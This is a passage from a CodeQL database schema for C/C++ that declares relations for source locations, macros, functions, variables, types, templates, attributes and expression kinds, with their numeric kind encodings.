that is not an expression or a statement. */ + unique int id: @location_default, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** + * The location of a statement. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_stmt( + /** The location of a statement. */ + unique int id: @location_stmt, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** + * The location of an expression. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_expr( + /** The location of an expression. */ + unique int id: @location_expr, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** An element for which line-count information is available. */ +@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @folder | @file + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +fileannotations( + int id: @file ref, + int kind: int ref, + string name: string ref, + string value: string ref +); + +inmacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +affectedbymacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +case @macroinvocation.kind of + 1 = @macro_expansion +| 2 = @other_macro_reference +; + +macroinvocations( + unique int id: @macroinvocation, + int macro_id: @ppd_define ref, + int location: @location_default ref, + int kind: int ref +); + +macroparent( + unique int id: @macroinvocation ref, + int parent_id: @macroinvocation ref +); + +// a macroinvocation may be part of another location +// the way to find a constant expression that uses a macro +// is thus to find a constant expression that has a location +// to which a macro invocation is bound +macrolocationbind( + int id: @macroinvocation ref, + int location: @location ref +); + +#keyset[invocation, argument_index] +macro_argument_unexpanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +#keyset[invocation, argument_index] +macro_argument_expanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +/* +case @function.kind of + 1 = @normal_function +| 2 = @constructor +| 3 = @destructor +| 4 = @conversion_function +| 5 = @operator +| 6 = @builtin_function // GCC built-in functions, e.g. __builtin___memcpy_chk +| 7 = @user_defined_literal +| 8 = @deduction_guide +; +*/ + +functions( + unique int id: @function, + string name: string ref, + int kind: int ref +); + +function_entry_point( + int id: @function ref, + unique int entry_point: @stmt ref +); + +function_return_type( + int id: @function ref, + int return_type: @type ref +); + +/** + * If `function` is a coroutine, then this gives the `std::experimental::resumable_traits` + * instance associated with it, and the variables representing the `handle` and `promise` + * for it. + */ +coroutine( + unique int function: @function ref, + int traits: @type ref +); + +/* +case @coroutine_placeholder_variable.kind of + 1 = @handle +| 2 = @promise +| 3 = @init_await_resume +; +*/ + +coroutine_placeholder_variable( + unique int placeholder_variable: @variable ref, + int kind: int ref, + int function: @function ref +) + +/** The `new` function used for allocating the coroutine state, if any. */ +coroutine_new( + unique int function: @function ref, + int new: @function ref +); + +/** The `delete` function used for deallocating the coroutine state, if any. */ +coroutine_delete( + unique int function: @function ref, + int delete: @function ref +); + +purefunctions(unique int id: @function ref); + +function_deleted(unique int id: @function ref); + +function_defaulted(unique int id: @function ref); + +function_prototyped(unique int id: @function ref) + +deduction_guide_for_class( + int id: @function ref, + int class_template: @usertype ref +) + +member_function_this_type( + unique int id: @function ref, + int this_type: @type ref +); + +#keyset[id, type_id] +fun_decls( + int id: @fun_decl, + int function: @function ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +fun_def(unique int id: @fun_decl ref); +fun_specialized(unique int id: @fun_decl ref); +fun_implicit(unique int id: @fun_decl ref); +fun_decl_specifiers( + int id: @fun_decl ref, + string name: string ref +) +#keyset[fun_decl, index] +fun_decl_throws( + int fun_decl: @fun_decl ref, + int index: int ref, + int type_id: @type ref +); +/* an empty throw specification is different from none */ +fun_decl_empty_throws(unique int fun_decl: @fun_decl ref); +fun_decl_noexcept( + int fun_decl: @fun_decl ref, + int constant: @expr ref +); +fun_decl_empty_noexcept(int fun_decl: @fun_decl ref); +fun_decl_typedef_type( + unique int fun_decl: @fun_decl ref, + int typedeftype_id: @usertype ref +); + +/* +case @fun_requires.kind of + 1 = @template_attached +| 2 = @function_attached +; +*/ + +fun_requires( + int id: @fun_decl ref, + int kind: int ref, + int constraint: @expr ref +); + +param_decl_bind( + unique int id: @var_decl ref, + int index: int ref, + int fun_decl: @fun_decl ref +); + +#keyset[id, type_id] +var_decls( + int id: @var_decl, + int variable: @variable ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +var_def(unique int id: @var_decl ref); +var_specialized(int id: @var_decl ref); +var_decl_specifiers( + int id: @var_decl ref, + string name: string ref +) +is_structured_binding(unique int id: @variable ref); +var_requires( + int id: @var_decl ref, + int constraint: @expr ref +); + +type_decls( + unique int id: @type_decl, + int type_id: @type ref, + int location: @location_default ref +); +type_def(unique int id: @type_decl ref); +type_decl_top( + unique int type_decl: @type_decl ref +); +type_requires( + int id: @type_decl ref, + int constraint: @expr ref +); + +namespace_decls( + unique int id: @namespace_decl, + int namespace_id: @namespace ref, + int location: @location_default ref, + int bodylocation: @location_default ref +); + +case @using.kind of + 1 = @using_declaration +| 2 = @using_directive +| 3 = @using_enum_declaration +; + +usings( + unique int id: @using, + int element_id: @element ref, + int location: @location_default ref, + int kind: int ref +); + +/** The element which contains the `using` declaration. */ +using_container( + int parent: @element ref, + int child: @using ref +); + +static_asserts( + unique int id: @static_assert, + int condition : @expr ref, + string message : string ref, + int location: @location_default ref, + int enclosing : @element ref +); + +// each function has an ordered list of parameters +#keyset[id, type_id] +#keyset[function, index, type_id] +params( + int id: @parameter, + int function: @parameterized_element ref, + int index: int ref, + int type_id: @type ref +); + +overrides( + int new: @function ref, + int old: @function ref +); + +#keyset[id, type_id] +membervariables( + int id: @membervariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +globalvariables( + int id: @globalvariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +localvariables( + int id: @localvariable, + int type_id: @type ref, + string name: string ref +); + +autoderivation( + unique int var: @variable ref, + int derivation_type: @type ref +); + +orphaned_variables( + int var: @localvariable ref, + int function: @function ref +) + +enumconstants( + unique int id: @enumconstant, + int parent: @usertype ref, + int index: int ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); + +@variable = @localscopevariable | @globalvariable | @membervariable; + +@localscopevariable = @localvariable | @parameter; + +/** + * Built-in types are the fundamental types, e.g., integral, floating, and void. + */ +case @builtintype.kind of + 1 = @errortype +| 2 = @unknowntype +| 3 = @void +| 4 = @boolean +| 5 = @char +| 6 = @unsigned_char +| 7 = @signed_char +| 8 = @short +| 9 = @unsigned_short +| 10 = @signed_short +| 11 = @int +| 12 = @unsigned_int +| 13 = @signed_int +| 14 = @long +| 15 = @unsigned_long +| 16 = @signed_long +| 17 = @long_long +| 18 = @unsigned_long_long +| 19 = @signed_long_long +// ... 20 Microsoft-specific __int8 +// ... 21 Microsoft-specific __int16 +// ... 22 Microsoft-specific __int32 +// ... 23 Microsoft-specific __int64 +| 24 = @float +| 25 = @double +| 26 = @long_double +| 27 = @complex_float // C99-specific _Complex float +| 28 = @complex_double // C99-specific _Complex double +| 29 = @complex_long_double // C99-specific _Complex long double +| 30 = @imaginary_float // C99-specific _Imaginary float +| 31 = @imaginary_double // C99-specific _Imaginary double +| 32 = @imaginary_long_double // C99-specific _Imaginary long double +| 33 = @wchar_t // Microsoft-specific +| 34 = @decltype_nullptr // C++11 +| 35 = @int128 // __int128 +| 36 = @unsigned_int128 // unsigned __int128 +| 37 = @signed_int128 // signed __int128 +| 38 = @float128 // __float128 +| 39 = @complex_float128 // _Complex __float128 +| 40 = @decimal32 // _Decimal32 +| 41 = @decimal64 // _Decimal64 +| 42 = @decimal128 // _Decimal128 +| 43 = @char16_t +| 44 = @char32_t +| 45 = @std_float32 // _Float32 +| 46 = @float32x // _Float32x +| 47 = @std_float64 // _Float64 +| 48 = @float64x // _Float64x +| 49 = @std_float128 // _Float128 +// ... 50 _Float128x +| 51 = @char8_t +| 52 = @float16 // _Float16 +| 53 = @complex_float16 // _Complex _Float16 +| 54 = @fp16 // __fp16 +| 55 = @std_bfloat16 // __bf16 +| 56 = @std_float16 // std::float16_t +| 57 = @complex_std_float32 // _Complex _Float32 +| 58 = @complex_float32x // _Complex _Float32x +| 59 = @complex_std_float64 // _Complex _Float64 +| 60 = @complex_float64x // _Complex _Float64x +| 61 = @complex_std_float128 // _Complex _Float128 +| 62 = @mfp8 // __mfp8 +; + +builtintypes( + unique int id: @builtintype, + string name: string ref, + int kind: int ref, + int size: int ref, + int sign: int ref, + int alignment: int ref +); + +/** + * Derived types are types that are directly derived from existing types and + * point to, refer to, transform type data to return a new type. + */ +case @derivedtype.kind of + 1 = @pointer +| 2 = @reference +| 3 = @type_with_specifiers +| 4 = @array +| 5 = @gnu_vector +| 6 = @routineptr +| 7 = @routinereference +| 8 = @rvalue_reference // C++11 +// ... 9 type_conforming_to_protocols deprecated +| 10 = @block +; + +derivedtypes( + unique int id: @derivedtype, + string name: string ref, + int kind: int ref, + int type_id: @type ref +); + +pointerishsize(unique int id: @derivedtype ref, + int size: int ref, + int alignment: int ref); + +arraysizes( + unique int id: @derivedtype ref, + int num_elements: int ref, + int bytesize: int ref, + int alignment: int ref +); + +typedefbase( + unique int id: @usertype ref, + int type_id: @type ref +); + +/** + * An instance of the C++11 `decltype` operator or C23 `typeof`/`typeof_unqual` + * operator taking an expression as its argument. For example: + * ``` + * int a; + * decltype(1+a) b; + * typeof(1+a) c; + * ``` + * Here `expr` is `1+a`. + * + * Sometimes an additional pair of parentheses around the expression + * changes the semantics of the decltype, e.g. + * ``` + * struct A { double x; }; + * const A* a = new A(); + * decltype( a->x ); // type is double + * decltype((a->x)); // type is const double& + * ``` + * (Please consult the C++11 standard for more details). + * `parentheses_would_change_meaning` is `true` iff that is the case. + */ + +/* +case @decltype.kind of +| 0 = @decltype +| 1 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +; +*/ + +#keyset[id, expr] +decltypes( + int id: @decltype, + int expr: @expr ref, + int kind: int ref, + int base_type: @type ref, + boolean parentheses_would_change_meaning: boolean ref +); + +/* +case @type_operator.kind of +| 0 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +| 1 = @underlying_type +| 2 = @bases +| 3 = @direct_bases +| 4 = @add_lvalue_reference +| 5 = @add_pointer +| 6 = @add_rvalue_reference +| 7 = @decay +| 8 = @make_signed +| 9 = @make_unsigned +| 10 = @remove_all_extents +| 11 = @remove_const +| 12 = @remove_cv +| 13 = @remove_cvref +| 14 = @remove_extent +| 15 = @remove_pointer +| 16 = @remove_reference_t +| 17 = @remove_restrict +| 18 = @remove_volatile +| 19 = @remove_reference +; +*/ + +type_operators( + unique int id: @type_operator, + int arg_type: @type ref, + int kind: int ref, + int base_type: @type ref +) + +/* +case @usertype.kind of +| 0 = @unknown_usertype +| 1 = @struct +| 2 = @class +| 3 = @union +| 4 = @enum +// ... 5 = @typedef deprecated // classic C: typedef typedef type name +// ... 6 = @template deprecated +| 7 = @template_parameter +| 8 = @template_template_parameter +| 9 = @proxy_class // a proxy class associated with a template parameter +// ... 10 objc_class deprecated +// ... 11 objc_protocol deprecated +// ... 12 objc_category deprecated +| 13 = @scoped_enum +// ... 14 = @using_alias deprecated // a using name = type style typedef +| 15 = @template_struct +| 16 = @template_class +| 17 = @template_union +| 18 = @alias +; +*/ + +usertypes( + unique int id: @usertype, + string name: string ref, + int kind: int ref +); + +usertypesize( + unique int id: @usertype ref, + int size: int ref, + int alignment: int ref +); + +usertype_final(unique int id: @usertype ref); + +usertype_uuid( + unique int id: @usertype ref, + string uuid: string ref +); + +/* +case @usertype.alias_kind of +| 0 = @typedef +| 1 = @alias +*/ + +usertype_alias_kind( + int id: @usertype ref, + int alias_kind: int ref +) + +nontype_template_parameters( + int id: @expr ref +); + +type_template_type_constraint( + int id: @usertype ref, + int constraint: @expr ref +); + +mangled_name( + unique int id: @declaration ref, + int mangled_name : @mangledname, + boolean is_complete: boolean ref +); + +is_pod_class(unique int id: @usertype ref); +is_standard_layout_class(unique int id: @usertype ref); + +is_complete(unique int id: @usertype ref); + +is_class_template(unique int id: @usertype ref); +class_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +class_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +class_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@user_or_decltype = @usertype | @decltype; + +is_proxy_class_for( + unique int id: @usertype ref, + int templ_param_id: @user_or_decltype ref +); + +type_mentions( + unique int id: @type_mention, + int type_id: @type ref, + int location: @location ref, + // a_symbol_reference_kind from the frontend. + int kind: int ref +); + +is_function_template(unique int id: @function ref); +function_instantiation( + unique int to: @function ref, + int from: @function ref +); +function_template_argument( + int function_id: @function ref, + int index: int ref, + int arg_type: @type ref +); +function_template_argument_value( + int function_id: @function ref, + int index: int ref, + int arg_value: @expr ref +); + +is_variable_template(unique int id: @variable ref); +variable_instantiation( + unique int to: @variable ref, + int from: @variable ref +); +variable_template_argument( + int variable_id: @variable ref, + int index: int ref, + int arg_type: @type ref +); +variable_template_argument_value( + int variable_id: @variable ref, + int index: int ref, + int arg_value: @expr ref +); + +template_template_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +template_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +template_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@concept = @concept_template | @concept_id; + +concept_templates( + unique int concept_id: @concept_template, + string name: string ref, + int location: @location_default ref +); +concept_instantiation( + unique int to: @concept_id ref, + int from: @concept_template ref +); +is_type_constraint(int concept_id: @concept_id ref); +concept_template_argument( + int concept_id: @concept ref, + int index: int ref, + int arg_type: @type ref +); +concept_template_argument_value( + int concept_id: @concept ref, + int index: int ref, + int arg_value: @expr ref +); + +routinetypes( + unique int id: @routinetype, + int return_type: @type ref +); + +routinetypeargs( + int routine: @routinetype ref, + int index: int ref, + int type_id: @type ref +); + +ptrtomembers( + unique int id: @ptrtomember, + int type_id: @type ref, + int class_id: @type ref +); + +/* + specifiers for types, functions, and variables + + "public", + "protected", + "private", + + "const", + "volatile", + "static", + + "pure", + "virtual", + "sealed", // Microsoft + "__interface", // Microsoft + "inline", + "explicit", + + "near", // near far extension + "far", // near far extension + "__ptr32", // Microsoft + "__ptr64", // Microsoft + "__sptr", // Microsoft + "__uptr", // Microsoft + "dllimport", // Microsoft + "dllexport", // Microsoft + "thread", // Microsoft + "naked", // Microsoft + "microsoft_inline", // Microsoft + "forceinline", // Microsoft + "selectany", // Microsoft + "nothrow", // Microsoft + "novtable", // Microsoft + "noreturn", // Microsoft + "noinline", // Microsoft + "noalias", // Microsoft + "restrict", // Microsoft +*/ + +specifiers( + unique int id: @specifier, + unique string str: string ref +); + +typespecifiers( + int type_id: @type ref, + int spec_id: @specifier ref +); + +funspecifiers( + int func_id: @function ref, + int spec_id: @specifier ref +); + +varspecifiers( + int var_id: @accessible ref, + int spec_id: @specifier ref +); + +explicit_specifier_exprs( + unique int func_id: @function ref, + int constant: @expr ref +) + +attributes( + unique int id: @attribute, + int kind: int ref, + string name: string ref, + string name_space: string ref, + int location: @location_default ref +); + +case @attribute.kind of + 0 = @gnuattribute +| 1 = @stdattribute +| 2 = @declspec +| 3 = @msattribute +| 4 = @alignas +// ... 5 @objc_propertyattribute deprecated +; + +attribute_args( + unique int id: @attribute_arg, + int kind: int ref, + int attribute: @attribute ref, + int index: int ref, + int location: @location_default ref +); + +case @attribute_arg.kind of + 0 = @attribute_arg_empty +| 1 = @attribute_arg_token +| 2 = @attribute_arg_constant +| 3 = @attribute_arg_type +| 4 = @attribute_arg_constant_expr +| 5 = @attribute_arg_expr +; + +attribute_arg_value( + unique int arg: @attribute_arg ref, + string value: string ref +); +attribute_arg_type( + unique int arg: @attribute_arg ref, + int type_id: @type ref +); +attribute_arg_constant( + unique int arg: @attribute_arg ref, + int constant: @expr ref +) +attribute_arg_expr( + unique int arg: @attribute_arg ref, + int expr: @expr ref +) +attribute_arg_name( + unique int arg: @attribute_arg ref, + string name: string ref +); + +typeattributes( + int type_id: @type ref, + int spec_id: @attribute ref +); + +funcattributes( + int func_id: @function ref, + int spec_id: @attribute ref +); + +varattributes( + int var_id: @accessible ref, + int spec_id: @attribute ref +); + +stmtattributes( + int stmt_id: @stmt ref, + int spec_id: @attribute ref +); + +@type = @builtintype + | @derivedtype + | @usertype + | @routinetype + | @ptrtomember + | @decltype + | @type_operator; + +unspecifiedtype( + unique int type_id: @type ref, + int unspecified_type_id: @type ref +); + +member( + int parent: @type ref, + int index: int ref, + int child: @member ref +); + +@enclosingfunction_child = @usertype | @variable | @namespace + +enclosingfunction( + unique int child: @enclosingfunction_child ref, + int parent: @function ref +); + +derivations( + unique int derivation: @derivation, + int sub: @type ref, + int index: int ref, + int super: @type ref, + int location: @location_default ref +); + +derspecifiers( + int der_id: @derivation ref, + int spec_id: @specifier ref +); + +/** + * Contains the byte offset of the base class subobject within the derived + * class. Only holds for non-virtual base classes, but see table + * `virtual_base_offsets` for offsets of virtual base class subobjects. + */ +direct_base_offsets( + unique int der_id: @derivation ref, + int offset: int ref +); + +/** + * Contains the byte offset of the virtual base class subobject for class + * `super` within a most-derived object of class `sub`. `super` can be either a + * direct or indirect base class. + */ +#keyset[sub, super] +virtual_base_offsets( + int sub: @usertype ref, + int super: @usertype ref, + int offset: int ref +); + +frienddecls( + unique int id: @frienddecl, + int type_id: @type ref, + int decl_id: @declaration ref, + int location: @location_default ref +); + +@declaredtype = @usertype ; + +@declaration = @function + | @declaredtype + | @variable + | @enumconstant + | @frienddecl + | @concept_template; + +@member = @membervariable + | @function + | @declaredtype + | @enumconstant; + +@locatable = @diagnostic + | @declaration + | @ppd_include + | @ppd_define + | @macroinvocation + /*| @funcall*/ + | @xmllocatable + | @attribute + | @attribute_arg; + +@namedscope = @namespace | @usertype; + +@element = @locatable + | @file + | @folder + | @specifier + | @type + | @expr + | @namespace + | @initialiser + | @stmt + | @derivation + | @comment + | @preprocdirect + | @fun_decl + | @var_decl + | @type_decl + | @namespace_decl + | @using + | @namequalifier + | @specialnamequalifyingelement + | @static_assert + | @type_mention + | @lambdacapture; + +@exprparent = @element; + +comments( + unique int id: @comment, + string contents: string ref, + int location: @location_default ref +); + +commentbinding( + int id: @comment ref, + int element: @element ref +); + +exprconv( + int converted: @expr ref, + unique int conversion: @expr ref +); + +compgenerated(unique int id: @element ref); + +/** + * `destructor_call` destructs the `i`'th entity that should be + * destructed following `element`. Note that entities should be + * destructed in reverse construction order, so for a given `element` + * these should be called from highest to lowest `i`. + */ +#keyset[element, destructor_call] +#keyset[element, i] +synthetic_destructor_call( + int element: @element ref, + int i: int ref, + int destructor_call: @routineexpr ref +); + +namespaces( + unique int id: @namespace, + string name: string ref +); + +namespace_inline( + unique int id: @namespace ref +); + +namespacembrs( + int parentid: @namespace ref, + unique int memberid: @namespacembr ref +); + +@namespacembr = @declaration | @namespace; + +exprparents( + int expr_id: @expr ref, + int child_index: int ref, + int parent_id: @exprparent ref +); + +expr_isload(unique int expr_id: @expr ref); + +@cast = @c_style_cast + | @const_cast + | @dynamic_cast + | @reinterpret_cast + | @static_cast + ; + +/* +case @conversion.kind of + 0 = @simple_conversion // a numeric conversion, qualification conversion, or a reinterpret_cast +| 1 = @bool_conversion // conversion to 'bool' +| 2 = @base_class_conversion // a derived-to-base conversion +| 3 = @derived_class_conversion // a base-to-derived conversion +| 4 = @pm_base_class_conversion // a derived-to-base conversion of a pointer to member +| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member +| 6 = @glvalue_adjust // an adjustment of the type of a glvalue +| 7 = @prvalue_adjust // an adjustment of the type of a prvalue +; +*/ +/** + * Describes the semantics represented by a cast expression. This is largely + * independent of the source syntax of the cast, so it is separate from the + * regular expression kind. + */ +conversionkinds( + unique int expr_id: @cast ref, + int kind: int ref +); + +@conversion = @cast + | @array_to_pointer + | @parexpr + | @reference_to + | @ref_indirect + | @temp_init + | @c11_generic + ; + +/* +case @funbindexpr.kind of + 0 = @normal_call // a normal call +| 1 = @virtual_call // a virtual call +| 2 = @adl_call // a call whose target is only found by ADL +; +*/ +iscall( + unique int caller: @funbindexpr ref, + int kind: int ref +); + +numtemplatearguments( + unique int expr_id: @expr ref, + int num: int ref +); + +specialnamequalifyingelements( + unique int id: @specialnamequalifyingelement, + unique string name: string ref +); + +@namequalifiableelement = @expr | @namequalifier; +@namequalifyingelement = @namespace + | @specialnamequalifyingelement + | @usertype; + +namequalifiers( + unique int id: @namequalifier, + unique int qualifiableelement: @namequalifiableelement ref, + int qualifyingelement: @namequalifyingelement ref, + int location: @location_default ref +); + +varbind( + int expr: @varbindexpr ref, + int var: @accessible ref +); + +funbind( + int expr: @funbindexpr ref, + int fun: @function ref +); + +@any_new_expr = @new_expr + | @new_array_expr; + +@new_or_delete_expr = @any_new_expr + | @delete_expr + | @delete_array_expr; + +@prefix_crement_expr = @preincrexpr | @predecrexpr; + +@postfix_crement_expr = @postincrexpr | @postdecrexpr; + +@increment_expr = @preincrexpr | @postincrexpr; + +@decrement_expr = @predecrexpr | @postdecrexpr; + +@crement_expr = @increment_expr | @decrement_expr; + +@un_arith_op_expr = @arithnegexpr + | @unaryplusexpr + | @conjugation + | @realpartexpr + | @imagpartexpr + | @crement_expr + ; + +@un_bitwise_op_expr = @complementexpr; + +@un_log_op_expr = @notexpr; + +@un_op_expr = @address_of + | @indirect + | @un_arith_op_expr + | @un_bitwise_op_expr + | @builtinaddressof + | @vec_fill + | @un_log_op_expr + | @co_await + | @co_yield + ; + +@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr; + +@cmp_op_expr = @eq_op_expr | @rel_op_expr; + +@eq_op_expr = @eqexpr | @neexpr; + +@rel_op_expr = @gtexpr + | @ltexpr + | @geexpr + | @leexpr + | @spaceshipexpr + ; + +@bin_bitwise_op_expr = @lshiftexpr + | @rshiftexpr + | @andexpr + | @orexpr + | @xorexpr + ; + +@p_arith_op_expr = @paddexpr + | @psubexpr + | @pdiffexpr + ; + +@bin_arith_op_expr = @addexpr + | @subexpr + | @mulexpr + | @divexpr + | @remexpr + | @jmulexpr + | @jdivexpr + | @fjaddexpr + | @jfaddexpr + | @fjsubexpr + | @jfsubexpr + | @minexpr + | @maxexpr + | @p_arith_op_expr + ; + +@bin_op_expr = @bin_arith_op_expr + | @bin_bitwise_op_expr + | @cmp_op_expr + | @bin_log_op_expr + ; + +@op_expr = @un_op_expr + | @bin_op_expr + | @assign_expr + | @conditionalexpr + ; + +@assign_arith_expr = @assignaddexpr + | @assignsubexpr + | @assignmulexpr + | @assigndivexpr + | @assignremexpr + ; + +@assign_bitwise_expr = @assignandexpr + | @assignorexpr + | @assignxorexpr + | @assignlshiftexpr + | @assignrshiftexpr + ; + +@assign_pointer_expr = @assignpaddexpr + | @assignpsubexpr + ; + +@assign_op_expr = @assign_arith_expr + | @assign_bitwise_expr + | @assign_pointer_expr + ; + +@assign_expr = @assignexpr | @assign_op_expr | @blockassignexpr + +/* + Binary encoding of the allocator form. + + case @allocator.form of + 0 = plain + | 1 = alignment + ; +*/ + +/** + * The allocator function associated with a `new` or `new[]` expression. + * The `form` column specified whether the allocation call contains an alignment + * argument. + */ +expr_allocator( + unique int expr: @any_new_expr ref, + int func: @function ref, + int form: int ref +); + +/* + Binary encoding of the deallocator form. + + case @deallocator.form of + 0 = plain + | 1 = size + | 2 = alignment + | 4 = destroying_delete + ; +*/ + +/** + * The deallocator function associated with a `delete`, `delete[]`, `new`, or + * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the + * one used to free memory if the initialization throws an exception. + * The `form` column specifies whether the deallocation call contains a size + * argument, and alignment argument, or both. + */ +expr_deallocator( + unique int expr: @new_or_delete_expr ref, + int func: @function ref, + int form: int ref +); + +/** + * Holds if the `@conditionalexpr` is of the two operand form + * `guard ? : false`. + */ +expr_cond_two_operand( + unique int cond: @conditionalexpr ref +); + +/** + * The guard of `@conditionalexpr` `guard ? true : false` + */ +expr_cond_guard( + unique int cond: @conditionalexpr ref, + int guard: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` holds. For the two operand form + * `guard ?: false` consider using `expr_cond_guard` instead. + */ +expr_cond_true( + unique int cond: @conditionalexpr ref, + int true: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` does not hold. + */ +expr_cond_false( + unique int cond: @conditionalexpr ref, + int false: @expr ref +); + +/** A string representation of the value. */ +values( + unique int id: @value, + string str: string ref +); + +/** The actual text in the source code for the value, if any. */ +valuetext( + unique int id: @value ref, + string text: string ref +); + +valuebind( + int val: @value ref, + unique int expr: @expr ref +); + +fieldoffsets( + unique int id: @variable ref, + int byteoffset: int ref, + int bitoffset: int ref +); + +bitfield( + unique int id: @variable ref, + int bits: int ref, + int declared_bits: int ref +); + +/* TODO +memberprefix( + int member: @expr ref, + int prefix: @expr ref +); +*/ + +/* + kind(1) = mbrcallexpr + kind(2) = mbrptrcallexpr + kind(3) = mbrptrmbrcallexpr + kind(4) = ptrmbrptrmbrcallexpr + kind(5) = mbrreadexpr // x.y + kind(6) = mbrptrreadexpr // p->y + kind(7) = mbrptrmbrreadexpr // x.*pm + kind(8) = mbrptrmbrptrreadexpr // x->*pm + kind(9) = staticmbrreadexpr // static x.y + kind(10) = staticmbrptrreadexpr // static p->y +*/ +/* TODO +memberaccess( + int member: @expr ref, + int kind: int ref +); +*/ + +initialisers( + unique int init: @initialiser, + int var: @accessible ref, + unique int expr: @expr ref, + int location: @location_expr ref +); + +braced_initialisers( + int init: @initialiser ref +); + +/** + * An ancestor for the expression, for cases in which we cannot + * otherwise find the expression's parent. + */ +expr_ancestor( + int exp: @expr ref, + int ancestor: @element ref +); + +exprs( + unique int id: @expr, + int kind: int ref, + int location: @location_expr ref +); + +expr_reuse( + int reuse: @expr ref, + int original: @expr ref, + int value_category: int ref +) + +/* + case @value.category of + 1 = prval + | 2 = xval + | 3 = lval + ; +*/ +expr_types( + int id: @expr ref, + int typeid: @type ref, + int value_category: int ref +); + +case @expr.kind of + 1 = @errorexpr +| 2 = @address_of // & AddressOfExpr +| 3 = @reference_to // ReferenceToExpr (implicit?) +| 4 = @indirect // * PointerDereferenceExpr +| 5 = @ref_indirect // ReferenceDereferenceExpr (implicit?) +// ... +| 8 = @array_to_pointer // (???) +| 9 = @vacuous_destructor_call // VacuousDestructorCall +// ... +| 11 = @assume // Microsoft +| 12 = @parexpr +| 13 = @arithnegexpr +| 14 = @unaryplusexpr +| 15 = @complementexpr +| 16 = @notexpr +| 17 = @conjugation // GNU ~ operator +| 18 = @realpartexpr // GNU __real +| 19 = @imagpartexpr // GNU __imag +| 20 = @postincrexpr +| 21 = @postdecrexpr +| 22 = @preincrexpr +| 23 = @predecrexpr +| 24 = @conditionalexpr +| 25 = @addexpr +| 26 = @subexpr +| 27 = @mulexpr +| 28 = @divexpr +| 29 = @remexpr +| 30 = @jmulexpr // C99 mul imaginary +| 31 = @jdivexpr // C99 div imaginary +| 32 = @fjaddexpr // C99 add real + imaginary +| 33 = @jfaddexpr // C99 add imaginary + real +| 34 = @fjsubexpr // C99 sub real - imaginary +| 35 = @jfsubexpr // C99 sub imaginary - real +| 36 = @paddexpr // pointer add (pointer + int or int + pointer) +| 37 = @psubexpr // pointer sub (pointer - integer) +| 38 = @pdiffexpr // difference between two pointers +| 39 = @lshiftexpr +| 40 = @rshiftexpr +| 41 = @andexpr +| 42 = @orexpr +| 43 = @xorexpr +| 44 = @eqexpr +| 45 = @neexpr +| 46 = @gtexpr +| 47 = @ltexpr +| 48 = @geexpr +| 49 = @leexpr +| 50 = @minexpr // GNU minimum +| 51 = @maxexpr // GNU maximum +| 52 = @assignexpr +| 53 = @assignaddexpr +| 54 = @assignsubexpr +| 55 = @assignmulexpr +| 56 = @assigndivexpr +| 57 = @assignremexpr +| 58 = @assignlshiftexpr +| 59 = @assignrshiftexpr +| 60 = @assignandexpr +| 61 = @assignorexpr +| 62 = @assignxorexpr +| 63 = @assignpaddexpr // assign pointer add +| 64 = @assignpsubexpr // assign pointer sub +| 65 = @andlogicalexpr +| 66 = @orlogicalexpr +| 67 = @commaexpr +| 68 = @subscriptexpr // access to member of an array, e.g., a[5] +// ... 69 @objc_subscriptexpr deprecated +// ... 70 @cmdaccess deprecated +// ... +| 73 = @virtfunptrexpr +| 74 = @callexpr +// ... 75 @msgexpr_normal deprecated +// ... 76 @msgexpr_super deprecated +// ... 77 @atselectorexpr deprecated +// ... 78 @atprotocolexpr deprecated +| 79 = @vastartexpr +| 80 = @vaargexpr +| 81 = @vaendexpr +| 82 = @vacopyexpr +// ... 83 @atencodeexpr deprecated +| 84 = @varaccess +| 85 = @thisaccess +// ... 86 @objc_box_expr deprecated +| 87 = @new_expr +| 88 = @delete_expr +| 89 = @throw_expr +| 90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2) +| 91 = @braced_init_list +| 92 = @type_id +| 93 = @runtime_sizeof +| 94 = @runtime_alignof +| 95 = @sizeof_pack +| 96 = @expr_stmt // GNU extension +| 97 = @routineexpr 